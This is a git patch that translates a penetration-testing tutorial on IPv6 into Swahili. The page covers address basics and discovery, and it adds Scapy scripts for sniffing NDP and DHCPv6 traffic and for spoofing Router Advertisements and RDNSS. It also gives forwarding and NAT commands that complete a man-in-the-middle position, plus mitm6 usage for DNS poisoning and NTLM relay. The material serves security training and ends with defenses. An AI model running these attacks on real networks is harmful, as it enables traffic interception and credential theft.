From f57a8ec4173f69696ff79a5444c655db4f267a6d Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 24 Jul 2025 16:12:25 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../pentesting-network/pentesting-ipv6.md | 218 ++++++++++++++++-- 1 file changed, 193 insertions(+), 25 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md index 72df39239..89585fe5b 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md @@ -1,16 +1,18 @@ +# Pentesting IPv6 + {{#include ../../banners/hacktricks-training.md}} -# Nadharia ya Msingi ya IPv6 +## IPv6 Msingi wa Nadharia -## Mitandao +### Mitandao Anwani za IPv6 zimeundwa ili kuboresha shirika la mtandao na mwingiliano wa vifaa. Anwani ya IPv6 imegawanywa katika: -1. **Kipengele cha Mtandao**: Bits 48 za mwanzo, zinazoamua sehemu ya mtandao. -2. **Kitambulisho cha Subnet**: Bits 16 zinazofuata, zinazotumika kufafanua subnets maalum ndani ya mtandao. +1. **Prefix ya Mtandao**: Bits 48 za mwanzo, zinazoamua sehemu ya mtandao. +2. **ID ya Subnet**: Bits 16 zinazofuata, zinazotumika kufafanua subnets maalum ndani ya mtandao. 3. **Kitambulisho cha Interface**: Bits 64 za mwisho, zinazotambulisha kipekee kifaa ndani ya subnet. -Ingawa IPv6 inakosa protokali ya ARP inayopatikana katika IPv4, inintroduce **ICMPv6** yenye ujumbe kuu wawili: +Wakati IPv6 inakosa protokali ya ARP inayopatikana katika IPv4, inintroduce **ICMPv6** yenye ujumbe kuu wawili: - **Ujumbe wa Kutafuta Majirani (NS)**: Ujumbe wa multicast kwa ajili ya kutatua anwani. - **Tangazo la Majirani (NA)**: Majibu ya unicast kwa NS au matangazo ya ghafla. @@ -25,7 +27,7 @@ IPv6 pia inajumuisha aina maalum za anwani: Ili kuingiliana na mitandao ya IPv6, unaweza kutumia amri mbalimbali: - **Ping Anwani za Link-Local**: Angalia uwepo wa vifaa vya ndani kwa kutumia `ping6`. -- **Ugunduzi wa Majirani**: Tumia `ip neigh` kuona vifaa vilivyogunduliwa kwenye safu ya kiungo. +- **Gundua Majirani**: Tumia `ip neigh` kuona vifaa vilivyogunduliwa kwenye safu ya kiungo. - **alive6**: Chombo mbadala cha kugundua vifaa kwenye mtandao sawa. Hapa chini kuna mifano ya amri: @@ -38,7 +40,7 @@ alive6 eth0 ``` IPv6 anwani zinaweza kutolewa kutoka kwa anwani ya MAC ya kifaa kwa mawasiliano ya ndani. Hapa kuna mwongozo rahisi juu ya jinsi ya kupata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC inayojulikana, na muhtasari mfupi wa aina za anwani za IPv6 na mbinu za kugundua anwani za IPv6 ndani ya mtandao. -## **Kutoa Link-local IPv6 kutoka kwa Anwani ya MAC** +### **Kutoa Link-local IPv6 kutoka kwa Anwani ya MAC** Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-local IPv6 kama ifuatavyo: @@ -46,28 +48,28 @@ Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-loca 2. Ongeza `fe80::` na weka `fffe` katikati: **`fe80::1234:56ff:fe78:9abc`** 3. Geuza bit ya saba kutoka kushoto, ukibadilisha `1234` kuwa `1034`: **`fe80::1034:56ff:fe78:9abc`** -## **Aina za Anwani za IPv6** +### **Aina za Anwani za IPv6** -- **Unique Local Address (ULA)**: Kwa mawasiliano ya ndani, si ya kuelekezwa kwenye mtandao wa umma. Kichwa: **`FEC00::/7`** +- **Unique Local Address (ULA)**: Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: **`FEC00::/7`** - **Multicast Address**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`** -- **Anycast Address**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface ya karibu kulingana na itifaki ya kuelekeza. Sehemu ya **`2000::/3`** anuwai ya unicast ya kimataifa. +- **Anycast Address**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Sehemu ya anuwai ya **`2000::/3`** ya unicast ya kimataifa. -## **Kichwa cha Anwani** +### **Kichwa cha Anwani** -- **fe80::/10**: Link-Local anwani (sawa na 169.254.x.x) +- **fe80::/10**: Anwani za Link-Local (sawa na 169.254.x.x) - **fc00::/7**: Unique Local-Unicast (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x) - **2000::/3**: Global Unicast -- **ff02::1**: Multicast Wote Nodes +- **ff02::1**: Multicast All Nodes - **ff02::2**: Multicast Router Nodes -## **Kugundua Anwani za IPv6 ndani ya Mtandao** +### **Kugundua Anwani za IPv6 ndani ya Mtandao** -### Njia 1: Kutumia Anwani za Link-local +#### Njia 1: Kutumia Anwani za Link-local 1. Pata anwani ya MAC ya kifaa ndani ya mtandao. 2. Pata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC. -### Njia 2: Kutumia Multicast +#### Njia 2: Kutumia Multicast 1. Tuma ping kwa anwani ya multicast `ff02::1` ili kugundua anwani za IPv6 kwenye mtandao wa ndani. ```bash @@ -75,37 +77,203 @@ service ufw stop # Stop the firewall ping6 -I ff02::1 # Send a ping to multicast address ip -6 neigh # Display the neighbor table ``` -## IPv6 Man-in-the-Middle (MitM) Attacks +### IPv6 Man-in-the-Middle (MitM) Attacks Mbinu kadhaa zipo za kutekeleza mashambulizi ya MitM katika mitandao ya IPv6, kama vile: - Kupotosha matangazo ya jirani au router ya ICMPv6. - Kutumia ujumbe wa ICMPv6 redirect au "Packet Too Big" kubadilisha routing. - Kushambulia mobile IPv6 (kawaida inahitaji IPSec kuzuiliwa). -- Kuanzisha seva ya rogue DHCPv6. +- Kuweka seva ya rogue DHCPv6. -# Identifying IPv6 Addresses in the eild +## Identifying IPv6 Addresses in the eild -## Exploring Subdomains +### Exploring Subdomains -Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama `ipv6.*` inaweza kuwa na ufanisi. Maalum, amri ifuatayo ya utafutaji inaweza kutumika katika Google: +Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama `ipv6.*` unaweza kuwa na ufanisi. Kwa haswa, amri ifuatayo ya utafutaji inaweza kutumika katika Google: ```bash site:ipv6./ ``` -## Kutumia Maswali ya DNS +### Kutumia Maswali ya DNS Ili kubaini anwani za IPv6, aina fulani za rekodi za DNS zinaweza kuulizwa: -- **AXFR**: Inahitaji uhamisho kamili wa eneo, ambayo inaweza kufichua anuwai ya rekodi za DNS. +- **AXFR**: Inahitaji uhamisho kamili wa eneo, ambayo inaweza kufichua anuwai kubwa ya rekodi za DNS. - **AAAA**: Inatafuta moja kwa moja anwani za IPv6. - **ANY**: Swali pana linalorejesha rekodi zote za DNS zinazopatikana. -## Kuchunguza kwa Ping6 +### Kuchunguza kwa Ping6 Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya `ping6` inaweza kutumika kwa uchunguzi. Zana hii husaidia katika kutathmini majibu ya anwani za IPv6 zilizobainishwa, na inaweza pia kusaidia katika kugundua vifaa vya IPv6 vilivyo karibu. -## Marejeleo +## Mbinu za Shambulio la Mtandao wa Mitaa wa IPv6 +Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo yanaweza kutekelezwa **ndani ya segment moja /64** bila kujua prefix yoyote ya kimataifa. Pakiti zote zilizoonyeshwa hapa chini ni **link-local** na husafiri tu kupitia swichi ya ndani, na kuifanya kuwa ngumu kugundulika katika mazingira mengi. + +### Kurekebisha Mfumo kwa Maabara Imara + +Kabla ya kucheza na trafiki ya IPv6, inapendekezwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi. +```bash +# Enable promiscuous mode to capture all frames +sudo ip link set dev eth0 promisc on + +# Ignore rogue Router Advertisements & Redirects coming from the segment +sudo sysctl -w net.ipv6.conf.all.accept_ra=0 +sudo sysctl -w net.ipv6.conf.all.accept_redirects=0 + +# Increase fd / backlog limits when generating lots of traffic +sudo sysctl -w fs.file-max=100000 +sudo sysctl -w net.core.somaxconn=65535 +sudo sysctl -w net.ipv4.tcp_tw_reuse=1 +``` +### Passive NDP & DHCPv6 Sniffing + +Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma pakiti hata moja. Mstari mmoja ufuatao wa Python/Scapy unasikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi, iliyo na muda wa nani ni nani: +```python +#!/usr/bin/env python3 +from scapy.all import * +from scapy.layers.dhcp6 import * +from datetime import datetime +from colorama import Fore, Style, init +import argparse + +init(autoreset=True) + +# Human-readable names for protocols we care about +DHCP6_TYPES = { +DHCP6_Solicit: 'Solicit', +DHCP6_Advertise: 'Advertise', +DHCP6_Request: 'Request', +DHCP6_Reply: 'Reply', +DHCP6_Renew: 'Renew', +DHCP6_Rebind: 'Rebind', +DHCP6_RelayForward:'Relay-Forward', +DHCP6_RelayReply: 'Relay-Reply' +} +ICMP6_TYPES = { +ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN), +ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN), +ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE), +ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA), +ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX), +ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX), +ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX), +ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX), +ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX), +ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX) +} + +def handler(pkt): +eth_src = pkt[Ether].src if Ether in pkt else '?' +eth_dst = pkt[Ether].dst if Ether in pkt else '?' +ip6_src = pkt[IPv6].src if IPv6 in pkt else '?' +ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?' + +# Identify protocol family first +for proto,(desc,color) in ICMP6_TYPES.items(): +if proto in pkt: +break +else: +if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port +for dhcp_t,name in DHCP6_TYPES.items(): +if dhcp_t in pkt: +desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break +else: +return # not a DHCPv6 message we track +else: +return # not interesting + +print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}") +print(f" MAC {eth_src} -> {eth_dst}") +print(f" IPv6 {ip6_src} -> {ip6_dst}") +print('-'*60) + +if __name__ == '__main__': +argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer') +argp.add_argument('-i','--interface',required=True,help='Interface to sniff') +argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)') +a = argp.parse_args() +sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) +``` +Matokeo: muundo kamili wa **link-local topology** (MAC ⇄ IPv6) ndani ya sekunde chache, bila kuanzisha mifumo ya IPS/IDS inayotegemea skana za kazi. + +### Ulaghai wa Matangazo ya Router (RA) + +Mikondo ya IPv6 inategemea **ICMPv6 Router Advertisements** kwa ajili ya kugundua lango la chaguo-msingi. Ikiwa utaingiza RAs za uongo **zaidi ya mara** kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama lango. +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +p.add_argument('-i','--interface',required=True) +p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)') +p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef') +p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime') +p.add_argument('--interval',type=int,default=5,help='Seconds between RAs') +p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack') +args = p.parse_args() + +lifetime = 0 if args.revert else args.lifetime +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ +ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference +ICMPv6NDOptSrcLLAddr(lladdr=args.mac)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` +Ili kweli **kupeleka trafiki** baada ya kushinda mbio: +```bash +sudo sysctl -w net.ipv6.conf.all.forwarding=1 +sudo ip6tables -A FORWARD -i eth0 -j ACCEPT +sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +### RDNSS (DNS) Spoofing kupitia RA + +[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa uendeshaji wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) unakubali moja kwa moja: +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +p.add_argument('-i','--interface',required=True) +p.add_argument('--llip',required=True) +p.add_argument('--dns',required=True,help='Fake DNS IPv6') +p.add_argument('--lifetime',type=int,default=600) +p.add_argument('--interval',type=int,default=5) +args = p.parse_args() + +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ +ICMPv6ND_RA(routerlifetime=0)/ +ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` +Wateja wata **ongeza** DNS yako kwenye orodha yao ya resolver kwa muda uliotolewa, wakitoa hijacking kamili ya DNS hadi thamani ipotee au utume `lifetime=0` kurejea. + +### DHCPv6 DNS Spoofing (mitm6) + +Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea **stateless DHCPv6** kwa DNS. [mitm6](https://github.com/rofl0r/mitm6) inajibu kiotomatiki kwa ujumbe wa `Solicit` kwa mtiririko wa **Advertise → Reply** ambao unatoa **anwani yako ya link-local kama DNS kwa sekunde 300**. Hii inafungua: + +* Mashambulizi ya NTLM relay (WPAD + DNS hijacking) +* Kukamata ufumbuzi wa majina ya ndani bila kugusa routers + +Matumizi ya kawaida: +```bash +sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning +``` +### Ulinzi + +* **RA Guard / DHCPv6 Guard / ND Inspection** kwenye swichi zinazodhibitiwa. +* Port ACLs zinazoruhusu tu MAC halali ya router kutuma RAs. +* Fuatilia **RAs zenye kiwango cha juu zisizo thabiti** au mabadiliko ya ghafla ya **RDNSS**. +* Kuzima IPv6 kwenye mwisho ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana – pendelea kuchuja L2 badala yake. + +## Marejeo + +- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/) +- [mitm6](https://github.com/rofl0r/mitm6) +- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106) - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)